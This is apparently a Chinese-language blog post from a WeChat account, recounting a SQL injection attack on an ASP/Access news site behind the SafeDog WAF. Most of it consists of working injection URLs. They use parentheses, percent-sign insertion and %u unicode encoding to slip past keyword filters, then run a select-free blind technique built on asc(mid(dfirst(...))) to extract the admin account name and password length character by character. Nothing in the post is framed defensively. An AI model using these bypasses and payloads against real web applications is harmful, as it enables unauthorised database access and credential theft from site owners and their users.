前言
20年发在公众号的文章,技术青涩
0x01判断注入
article.asp?id=6903'
在id参数后面加个单引号被拦截,代码层拦截单引号
在参数后面随便加个符号页面报错,看到错误信息
article.asp?id=6903~
我们可以得知使用的数据库是Access,访问得到的是id为6902的内容存在注入猜测大概语句为
select * from xxxx where id=6903-1
0x02 order by
article.asp?id=6903 order by 5
经过测试by 后面不能出现任何数字开头的
article.asp?id=6903 order by (5)
加个小括号成功绕过
article.asp?id=6903 order by (12)
11正常12错误得到列数11
0x03 联合查询
article.asp?id=6903 union select
union 跟select不能同时出现不然会被拦截
在asp+iis的环境中存在一个特性,就是特殊符号%,在该环境下当们我输入s%elect的时候,在WAF层可能解析出来的结果就是s%elect,但是在iis+asp的环境的时候,解析出来的结果为select。
article.asp?id=6903 unio%n
发现是可以的,但是将select拼上去后一样拦截
article.asp?id=6903 unio%n select 拦截
article.asp?id=6903 unio%n s%elect 拦截
article.asp?id=6903 unio%n s%e%l%e%c%t 拦截
还有一种注释绕过
article.asp?&a=/*&id=6903 union select&b=*/
成功绕过安全狗但是被自带代码拦截,测出拦截字符*,那这条路就走不通了
iis服务器支持对于unicode的解析,例如我们对于select中的字符进行unicode编码,可以得到如下的sel%u0065%u0063t,这种字符在IIS接收到之后会被转换为select,但是对于WAF层,可能接收到的内容还是sel%u0065%u0063t,这样就会形成bypass的可能。
我们将union select转为Unicode然后将换成%即可
由于自带waf拦截select大小写绕过union seleCt
article.asp?id=6903 %u0075%u006e%u0069o%u006e %u0073ele%u0043%u0074
在select后面出现任何字符都会被安全狗拦截
0x04无select获取数据
select * from xxxx where id=6903+asc(mid((dfirst("[列名]","[表名]")),1,1))-97
假设列名字段第一个字符为a,对应ascii为97,所以id=6903+97-97 还是等于6903,页面返回无任何变化
article.asp?id=6903 %2basc(Mid((dfirst("[test]","[test]")),1,1))-97
需要注意的是+号需要使用%2b,当表名不存在页面返回错误提示没有该表
article.asp?id=6903 %2basc(Mid((dfirst("[test]","[Admin]")),1,1))-97
当表名正确列名不正确时页面也会报错,可以得知存在admin表
article.asp?id=6903%2basc(Mid((dfirst("[username]","[Admin]")),1,1))-97
得到username字段,且页面无变化得到的一位ascii值为97=a
article.asp?id=6903%2basc(Mid((dfirst("[username]","[Admin]")),2,1))-100
得到第二位ascii值为97=d
article.asp?id=6903%2basc(Mid((dfirst("[username]","[Admin]")),5,1))-110
得到第五位ascii值为110=n
article.asp?id=6903%2basc(Mid((dfirst("[username]","[Admin]")),6,1))-110
获取第六位时页面报错证明只有五位得到账号admin
article.asp?id=6903%2basc(Mid((dfirst("[password]","[Admin]")),17,1))-1
得到password字段,且长度为16
One comment
每更每学一个小技巧~